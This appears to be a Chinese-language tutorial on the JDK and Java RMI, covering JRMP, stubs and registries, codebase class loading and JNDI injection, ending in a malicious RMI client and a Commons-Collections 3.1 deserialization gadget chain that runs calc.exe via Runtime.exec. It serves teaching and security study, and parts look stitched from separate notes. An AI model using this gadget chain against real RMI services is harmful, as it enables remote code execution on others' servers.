JDK体系结构
JDK介绍
1.JKD概念图
JDK:JDK 提供了编译、运行 Java 程序所需的各种资源和工具;包括 Java 编译器,Java 运行时环境(JRE);开放工具包括编译工具(java.exe)、打包工具(jar.exe)等。
JRE:即 Java 运行时环境,JVM 就是包括在 JRE 中,以及常用的 Java 类库等。
SDK:SDK 是基于 JDK 进行扩展的,是解决企业级开发的工具包。如 JSP、JDBC、EJB等就是由 SDK 提供的。
2.JDK常用的基础命描述
-
javac:Java编译器,将 Java 源代码转换成字节。
- Java:Java解释器,直接从类文件执行 Java 应用程序代码。
- appletviewer(小程序浏览器):一种执行 HTML 文件上的 Java 小程序类的 Java 浏览器。
- javadoc:根据 Java 源代码及其说明语句生成的 HTML 文档。
- jdb:Java调试器,可以逐行地执行程序、设置断点和检查变量。
- javah:产生可以调试 Java 过程的 C 过程,或建立能被 Java 程序调用的 C 过程的头文件。
- JavaP:Java反汇编器,显示编译类文件中的可访问功能和数据,同时显示字节代码含义。
- jar:多用途的存档及压缩工具,是个 Java 应用程序,可将多个文件合并为单个 JAR 归档文件。
- htmlConverter——命令转换工具。
- native2ascii——将含有不是Unicode或Latinl字符的的文件转换为Unicode编码字符的文件
- serialver——返回serialverUID。语法:serialver [show] 命令选项show是用来显示一个简单的界面。输入完整的类名按Enter键或”显示”按钮,可显示serialverUID。
3.Java程序的运行机制
计算机的高级语言主要有编译型与解释型两种,Java 属于两种类型的集合;
在 Java 中源文件名称是以.java
结尾的文件,之后通过编译命令 Javac编译为.class
文件;然后通过类装载器将类转载到内存中,经过特定的解析器执行引擎将字节码翻译成底层系统指令,再由CPU执行,完成整个程序功能。
4.java跨平台性
如果想要执行字节码文件,目标平台必须要安装 JVM(java虚拟机),JVM 会将字节码翻译为相依与平台的计算机指令;从软件层面屏蔽不同操作系统底层硬件与指令上的区别;有了 JVM,Java程序就达到了 “编译一次到处运行” 的跨平台目的。所以到这里。我们就知道了java程序跨平台性好的根本原因就是 java虚拟机JVM存在的原因。
Java中RMI、JNDI、LDAP、JRMP、JMX、JMS那些事
远程方法调用是分布式编程中的一个基本思想。实现远程方法调用的技术很多,例如 CORBA、WebService,这两种是独立于编程语言的。而 Java RMI 是专为 Java 环境设计的远程方法调用机制,远程服务器实现具体的 Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法并获取执行结果,使分布在不同的 JVM 中的对象的外表和行为都像本地对象一样。
举个例子:
假设A公司是某个行业的翘楚,开发了一系列行业上领先的软件。B公司想利用A公司的行业优势进行一些数据上的交换和处理。但A公司不可能将其全部软件都部署到B公司,也不能给B公司全部数据的访问权限。于是A公司在现有的软件结构体系不变的前提下开发了一些 RMI 方法。B公司调用A公司的 RMI 方法来实现对A公司数据的访问和操作,而所有数据和权限都在A公司的控制范围内,不用担心B公司窃取其数据或者商业机密。
对于开发者来说,远程方法调用就像我们本地调用一个对象的方法一样,他们很多时候不需要关心内部如何实现,只关心传递相应的参数并获取结果就行了。但是对于攻击者来说,要执行攻击还是需要了解一些细节的。
注意:这里我们在 RMI 前面加上了 Java 是为了和 Weblogic RMI 区分。Java 本身对 RMI 规范的实现默认使用的是 JRMP 协议,而 Weblogic 对 RMI 规范的实现使用 T3 协议,Weblogic 之所以开放 3T协议,是因为他们需要可扩展,高效的协议来使用 Java 构建企业级的分布式对象系统。
JRMP:Java Remote Message Protocol,Java 远程消息交换协议。这是运行在 Java RMI之下、TCP/IP之上的线路层协议。该协议要求服务端与客户端都为 Java 编写,就像 HTTP协议一样,规定了客户端和服务端通信要满足的规范。
Java RMI远程方法调用过程
几个小tips:
1.RMI的传输是基于反序列化的。
2.对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象,迫使服务器端将这个对象按任何一个存在于服务端 classpath(不在 classpath 的情况,可以看后面 RMI 动态加载类相关部分)中的可序列化类来反序列化恢复对象。(path是Windows查找.exe文件的路径;classpath是jvm查找.class文件的路径)
使用远程方法调用,会涉及参数的传递和执行结果的返回。参数或者返回值可以是基本数据类型,当然也有可能是对象的引用。所以这些需要被传输的对象必须可以被序列化,这要求相应的类必须实现 java.io.Serializable 接口,并且客户端的 serialVersionUID 字段要与服务器端保持一致。
在 JVM 之间通信时,RMI对远程对象和非远程对象的处理方式是不一样的,它并没有直接把远程对象复制一份传递给客户端,而是传递了一个远程对象的Stub,Stub 基本上相当于是远程对象的引用或者代理(Java RMI 使用到了代理模式)。Stub 对开发者是透明的,客户端可以像调用本地方法一样直接通过它来调用远程方法。Stub 中包含了远程对象的定位信息,如 Socket端口,服务端主机地址等,并实现了远程调用过程中具体的底层网络通信细节,所以 RMI远程调用逻辑是这样的:
从逻辑上来说,数据是在 Client 和 Server 之间横向流动的,但是实际上是从 Client 到 Stub,然后从 Skeleton 到 Server 这样纵向流动的:
1.Server端监听一个端口,这个端口是 JVM 随机选择的;
2.Client端并不知道Server远程对象的通信地址和端口,但是Stub中包含了这些信息,并封装了底层网络操作;
3.Client端可以调用Stub上的方法;
4.Stub连接到Server端监听的通信端口并提交参数;
5.远程Server端上执行具体的方法,并返回结果给Stub;
6.Stub返回指向结果给Client端,从Client看来就好像是Stub在本地执行了这个方法一样。
怎么获取Stub呢?
假设 Stub 可以通过调用某个远程服务上的方法向远程服务来获取,但是调用远程方法又必须先有远程对象的 Stub,所以这里有一个死循环问题。JDK 提供了一个 RMI注册表(RMIRegistry)来解决这个问题。RMIRegistry也是一个远程对象,默认监听在传说中的1099端口上,可以使用代码启动RMIRegistry,也可以使用rmiregistry命令。
使用 RMI Registry 之后,RMI 的调用关系应该是这样的:
所以从客户端角度看,服务端应用是有两个端口的,一个是 RMI Registry端口(默认为 1099),另一个是远程对象的通信端口 (随机分配的),通常我们只需要知道 Registry端口就行了,Server的端口包含在了 Stub中。RMI Registry可以和 Server端在一台服务器上,也可以在另一台服务器上,不过大多数时候在同一台服务器上且运行在同一 JVM环境下。
模拟Java RMI利用
我们使用下面的例子来模拟Java RMI的调用过程并执行攻击:
1.创建服务端对象类,先创建一个接口继承java.rmi.Remote
//Services.java
package lyz.javarmi.services;
import java.rmi.RemoteException;
public interface Services extends java.rmi.Remote {
String sendMessage(Message msg) throws RemoteException;
}
2.创建服务端对象类,实现这个接口
//ServicesImpl.java
package lyz.javarmi.services;
import java.rmi.RemoteException;
public class ServicesImpl implements Services {
public ServicesImpl() throws RemoteException {
}
@Override
public String sendMessage(Message msg) throws RemoteException {
return msg.getMessage();
}
}
3.创建服务端远程对象骨架 skeleton 并绑定在 Registry上
//RMIServer.java
package lyz.javarmi.services;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class RMIServer {
/**
* java RMI 服务端
* @param args
*/
public static void main(String[] args) {
try {
//实例化服务端远程对象
ServicesImpl obj = new ServicesImpl();
//没有继承UnicastRemoteObject时需要使用静态方法exportObject处理
Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);
Registry reg;
try {
//创建Registry
reg = LocateRegistry.createRegistry(9999);
System.out.println("java RMI registry created. port on 9999...");
} catch (Exception e) {
System.out.println("Using existing registry");
reg = LocateRegistry.getRegistry();
}
//绑定远程对象到 Registry
reg.bind("Services", services);
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
}
4.创建恶意客户端
//RMIClient.java
package com.longofo.javarmi;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
/**
* Java RMI恶意利用demo
*
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
// 获取远程对象的引用
Services services = (Services) registry.lookup("Services");
PublicKnown malicious = new PublicKnown();
malicious.setParam("calc");
malicious.setMessage("haha");
// 使用远程对象的引用调用对应的方法
System.out.println(services.sendMessage(malicious));
}
}
上面这个例子是在CVE-2017-3241分析[3]
中提供代码基础上做了一些修改,先启动RMI Server端的RMIServer
再启动RMI客户端上的RMIClient
即可复现。
在ysoserial中的RMIRegistryExploit提供另一种思路,利用其他客户端也能向服务端的Registry注册远程对象的功能,由于对象绑定时也传递了序列化的数据,在Registry端(通常和服务端在同一服务器且处于同一JVM下)会对数据进行反序列化处理,RMIRegistryExploit中使用的CommonsCollections1这个payload,如果Registry端也存在CommonsCollections1这个payload使用到的类就能恶意利用。对于一些CommonsCollections1利用不了的情况,例如CommonsCollections1中相关利用类被过滤拦截了,也还有其他例如结合JRMP方式进行利用的方式,可以参考这位大佬的思路–>here。
这里还需要注意这时Server端是作为RMI的服务端而成为受害者,在后面的RMI动态类加载或JNDI注入中可以看到Server端也可以作为RMI客户端成为受害者。
上面的代码假设RMIServer就是提供Java RMI远程方法调用服务的厂商,他提供了一个Services接口供远程调用;
在客户端中,正常调用应该是stub.sendMessage(Message)
,这个参数应该是Message类对象的,但是我们知道服务端存在一个公共的已知PublicKnown类(比如经典的Apache Common Collection,这里只是用PublicKnown做一个类比),它有readObject方法并且在readObject中存在命令执行的能力,所以我们客户端可以写一个与服务端包名,类名相同的类并继承Message类(Message类在客户端服务端都有的),根据上面两个小tips,在服务端会反序列化传递的数据,然后到达PublicKnown执行命令的地方(这里需要注意的是服务端PublicKnown类的seralVersionUID与客户端PublicKnown需要保存一致,如果不写在序列化时JVM会自动根据类的属性等生成一个UID,不过有时候自动生成的可能会不一致,不过不一致时,Java RMI服务端会返回错误,提示服务端相应类的serialVersionUID,在本地类重新加上服务端的serialVersionUID就行了):
抓包看一下通信的数据:
可以看到PublicKnown类对象确实被序列化传递了,通信过程全程都有被序列化的数据,那么在服务端也肯定会进行反序列化恢复对象,可以自己抓包看看。
Java RMI的动态加载类
java.rmi.server.codebase: java.rmi.server.codebase
属性值表示一个或多个URL位置,可以从中下载本地找不到的类,相当于一个代码库。代码库定义为将类加载到虚拟机的源或场所,可以将CLASSPATH
视为”本地代码库”,因为它是磁盘上加载本地类的位置的列表。就像CLASSPATH
“本地代码库”一样,小程序和远程对象使用的代码库可以被视为”远程代码库”。
RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的class文件可以使用http://
、ftp://
、file://
进行托管。这可以动态的扩展远程应用的功能,RMI注册表上可以动态的加载绑定多个RMI应用。对于客户端而言,如果服务端方法的返回值可能是一些子类的对象实例,而客户端并没有这些子类的class文件,如果需要客户端正确调用这些子类中被重写的方法,客户端就需要从服务端提供的java.rmi.server.codebase
URL去加载类;对于服务端而言,如果客户端传递的方法参数是远程对象接口方法参数类型的子类,那么服务端需要从客户端提供的java.rmi.server.codebase
URL去加载对应的类。客户端与服务端两边的java.rmi.server.codebase
URL都是互相传递的。无论是客户端还是服务端要远程加载类,都需要满足以下条件:
- 由于Java SecurityManager的限制,默认是不允许远程加载的,如果需要进行远程加载类,需要安装RMISecurityManager并且配置
java.security.policy
,这在后面的利用中可以看到。 - 属性
java.rmi.server.useCodebaseOnly
的值必须为false。但是从 JDK 6u45、7U21开始,java.rmi.server.useCodebaseOnly
的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前虚拟机的java.rmi.server.codebase
指定路径加载类文件。使用这个属性来防止虚拟机从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
注:在 JNDI注入的利用方法中也借助了这种动态加载类的思路。
远程方法返回对象为远程接口方法返回对象的子类(目标Server端为RMI客户端时的恶意利用)
远程对象接口(这个接口一般都是公开的):
//Services.java
RMI-反序列化
RMI(Remote Method Invocation),远程方法调用。跟RPC差不多,是java独立实现的一种机制。实际上就是在一个java虚拟机上调用另一个java虚拟机的对象上的方法。
RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。(我们可以再之后数据包中看到该协议特征)
在RMI中对象是通过序列化方式进行编码传输的。
RMI分为三个主体部分:
- Client-客户端:客户端调用服务端的方法。
- Server-服务端:远程调用方法对象的提供者,也是代码真正执行的地方,执行结束会返回给客户端一个方法执行的结果。
- Registry-注册中心:其实本质就是一个map,相当于是字典一样,用于客户端查询要调用的方法引用。
总体RMI的调用实现目的就是调用远程机器的类跟调用一个写在自己的本地的类一样。
唯一的区别就是RMI服务端提供的方法,被调用的时候该方法是执行在服务端。
RMI远程对象部署-调用流程
要利用先使用。
Server部署:
1.Server向Registry注册远程对象,远程对象绑定在一个//hostL:port/objectname
上,形成一个映射表(Service-Stub)。
Client调用:
1.Client向Registry通过RMI地址查询对应的远程引用(Stub)。这个远程引用包含了一个服务器主机名和端口号。
2.Client拿着Registry给它的远程引用,照着上面的服务器主机名、端口去连接提供服务的远程RMI服务器。
3.Client传送给Server需要调用函数的输入参数,Server执行远程方法,并返回给Client执行结果。
RMI服务端与客户端实现
1.服务端编写一个远程接口:
public interface IRemoteHelloWorld extends Remote {
public String hello(String a) throws RemoteException;
}
这个接口需要:
- 使用 public 声明,否者客户端在尝试加载实现远程接口的远程对象时会出错。(如果客户端、服务端放在一起没关系)
- 同时需要继承 Remote 接口。
- 接口的方法需要声明
java.rmi.RemoteException
报错。 - 服务端实现这个远程接口:
public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld {
protected RemoteHelloWorld() throws RemoteException {
super();
System.out.println("构造函数中");
}
public String hello(String a) throws RemoteException {
System.out.println("Hello World!");
return "hello world!";
}
}
这个类需要:
- 实现远程接口。
- 继承 UnicastRemoteObject类,貌似继承了之后会使用默认 socket 进行通讯,并且该实现类会一直运行在服务器上。(如果不继承UnicastRemoteObject类,则需要手工初始化远程对象,在远程对象的构造方法调用UnicastRemoteObject.exportObject()静态方法)
- 构造函数需要抛出一个 RemoteException 错误。
- 实现类中使用的对象必须都可序列化,即都继承
java.io.Serializable
。 - 注册远程对象:
public class RMIServer {
//远程接口
public interface IRemoteHelloWorld extends Remote {
public String hello(String a) throws RemoteException;
}
//远程接口的实现
public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld {
protected RemoteHelloWorld() throws RemoteException {
super();
System.out.println("构造函数中");
}
public String hello(String a) throws RemoteException {
System.out.println("Hello World!");
return "hello world!";
}
}
//注册远程对象
private void start() throws Exception {
//远程对象实例
RemoteHelloWorld h = new RemoteHelloWorld();
//创建注册中心
LocateRegistry.createRegistry(1099);
//绑定对象实例到注册中心
Naming.rebind("//127.0.0.1:1099/Hello", h);
}
//main函数
public static void main(String[] args) throws Exception {
new RMIServer().start();
}
}
关于绑定的地址很多博客会写rmi://ip:port/Objectname
的形式,实际上看 rebind源码就可以知道RMI写不写都可以; port如果是默认的1099,不写会自动补上,其他端口必须写。
客户端部署:
public class TrainMain {
public static void main(String[] args) throws Exception {
RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld)Naming.lookup("rmi://127.0.0.1:1099/Hello");
String ret = hello.hello("input! gogogo!!!");
System.out.println(ret);
}
}
- 需要使用远程接口(此处是直接引用服务端的类,客户端不知道这个类的源代码也是可以的,重点是包名,类名必须一致,serialVersionUID一致)。
- Naming.lookup查找远程对象,
rmi:
也可以省略。
那么先运行服务端,再运行客户端,即可完成调用。
通讯细节-反序列化
我们需要分析具体通讯细节,来加深了解RMI的过程:
使用wireshark抓包查看数据:
我们把总体数据包,分为以下四块:
1.客户端与注册中心(1099端口)建立通讯;
客户端查询需要调用的函数的远程引用,注册中心返回远程引用和提供该服务的服务端IP与端口
之后客户端与服务端口建立TCP连接,由RMI 66 JRMI, RetrunData
这个数据包返回的内容指定。
AC ED 00 05 是常见的Java反序列化16进制特征。
注意以上两个关键步骤都是使用序列化语句。
2.客户端新起一个端口与服务端建立TCP通讯。
客户端发送远程引用给服务端,服务端返回函数唯一标识符,来确认可以被调用(此处返回结果的含义 打上问号,猜测大概是这个意思)。
返回数据包就不找了。
他们同样是使用序列化的传输形式。
其对应的代码为(未确定):
RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld)Naming.lookup("rmi://127.0.0.1:1099/Hello")
3.客户端与注册中心(1099端口)通讯。
4.客户端序列化传输调用函数的输入传输至服务端,服务端返回序列化的执行结果至客户端。
以上调用通讯过程对应的代码是这一句:
String ret = hello.hello("input! gogogo!!!");
可以看出所有的数据流都是使用序列化传输的,我们尝试从代码中找到对应的反序列化语句。
RMI利用点
那么我们可以确定RMI是一个基于序列化的Java远程方法调用机制。我们来思考这个过程中存在的漏洞点:
- 控制?或探测可利用RMI服务。
可以看到我们可以使用rebind、bind、unbind等方法,去在注册中心中注册调用方法。那我们是不是可以恶意去注册中心注册恶意的远程服务呢?
实际上是不行的。
RMI注册中心只有对于来源地是localhost的时候,才能调用rebind、bing、unbind等方法。
不过 list 和 lookup 方法可以实现远程调用。
list 方法可以列出目标上所有绑定的对象:String[] s = Naming.list("rmi://192.168.79.123:1099");
lookup 作用就是获得某个远程对象。如果对方RMI注册中心存在敏感远程服务,就可以进行探测调用。(BaRMIE工具)
- 直接攻击RMI服务器
他的RMI服务端存在readObject反序列化点时,从通讯过程可知,服务端会对客户端的任意输入进行反序列化。
如果服务端存在漏洞组件版本(存在反序列化利用链),就可以对RMI服务接口进行反序列化攻击。我们将在接下来复现这个RMI服务的反序列化漏洞。它将导致RMI服务端任意命令执行。
- 动态加载恶意类(RMI Remote Object Payload)
上面没有说到:RMI核心特点之一就是动态类加载。
RMI的流程中,客户端和服务端之间传递的是一些序列化后的对象。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找相对应的类。如果当前JVM中没有某个类的定义(即CLASSPATH下没有),它可以根据codebase去下载这个类class,然后动态加载这个对象class文件。
codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类;CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。所以动态加载的class文件可以保存在web服务器、ftp中。
例如:我们指定 codebase=http://example.com/
,动态加载 org.vulhub.example.Example
类,则Java虚拟机会下载这个文件http://example.com/org/vulhub/example/Example.class
,并作为 Example 类的字节码。
那么只要控制了 codebase,就可以加载执行恶意类。同时也存在一定的限制条件:
- 安装并配置了SecurityManager。
- Java版本低于7u21、6u45,或者设置了
java.rmi.server.useCodebaseOnly=false
。
java.rmi.server.useCodebaseOnly 配置为 true 的情况下,Java虚拟机将只信任预先配置好的 codebase ,不再支持从RMI请求中获取。
漏洞的主要原理是RMI远程对象加载,即 RMI Class Loading 机制,会导致 RMI 客户端命令执行。
举一个小栗子:
客户端:
//从服务端获取 RMI 服务
ICalc r = (ICalc)Naming.lookup("rmi://192.168.78.121:1099/refObj");
//本地只有一个抽象接口,具体是从 cosebase 获取的 class 文件
List<Integer> li = new Payload();
//RMI 服务调用,在这里触发从 cosebase 中读取 class 文件执行
r.sum(li);
-
JNDI 注入
RMI服务端在绑定远程对象至注册中心时,不只是可以绑定RMI服务器本身上的对象,还可以使用 Reference 对象指定一个托管在第三方服务器上的 class 文件,在绑定给注册中心。在客户端处理服务端返回数据时,发现是一个 Reference 对象,就会动态加载这个对象中的类。
攻击者只要能够:
1.控制RMI客户端去调用指定的 RMI 服务器。
2.在可控RMI服务器上绑定Reference对象,Reference对象指定远程恶意类。
3.远程恶意类文件的构造方法、静态代码块、getObjectInstance() 方法等处写入恶意代码。
就可以达到RCE的效果。fasjson 组件漏洞rmi、ldap的利用形式正是使用Jndi注入,而不是有关RMI反序列化。
主要原理是 JNDI Reference 远程加载 Object Factory 类的特性。会导致客户端命令执行。
不受 java.rmi.server.useCodebaseOnly 系统属性的限制,相对于前者来说更为通用。
直接攻击RMI服务器 Commons-collections3.1
举例 Commons-collection 利用 rmi 调用的例子。
RMI服务端(受害者),开启了一个RMI服务:
public class Server {
public interface User extends Remote {
public String name(String name) throws RemoteException;
public void say(String say) throws RemoteException;
public void dowork(Object work) throws RemoteException;
}
public static class UserImpl extends UnicastRemoteObject implements User {
protected UserImpl() throws RemoteException {
super();
}
public String name(String name) throws RemoteException {
return name;
}
public void say(String say) throws RemoteException {
System.out.println("you speak " + say);
}
public void dowork(Object work) throws RemoteException {
System.out.println("your work is " + work);
}
}
public static void main(String[] args) throws Exception {
String url = "rmi://127.0.0.1:1099/User";
UserImpl user = new UserImpl();
LocateRegistry.createRegistry(1099);
Naming.bind(url, user);
System.out.println("the rmi is running ...");
}
}
同时服务端具有以下特点:
- jdk版本1.7
- 使用具有漏洞的Commons-Collections3.1组件
- RMI提供的数据有Object类型(因为攻击payload就是Object类型)
客户端(攻击者):
public class Client {
public static void main(String[] args) throws Exception {
String url = "rmi://127.0.0.1:1099/User";
User userClient = (User)Naming.lookup(url);
System.out.println(userClient.name("lala"));
userClient.say("world");
userClient.dowork(getpayload());
}
public static Object getpayload() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new class[]{String.class,
Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,
Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "lala");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transfromedMap);
return instance;
}
}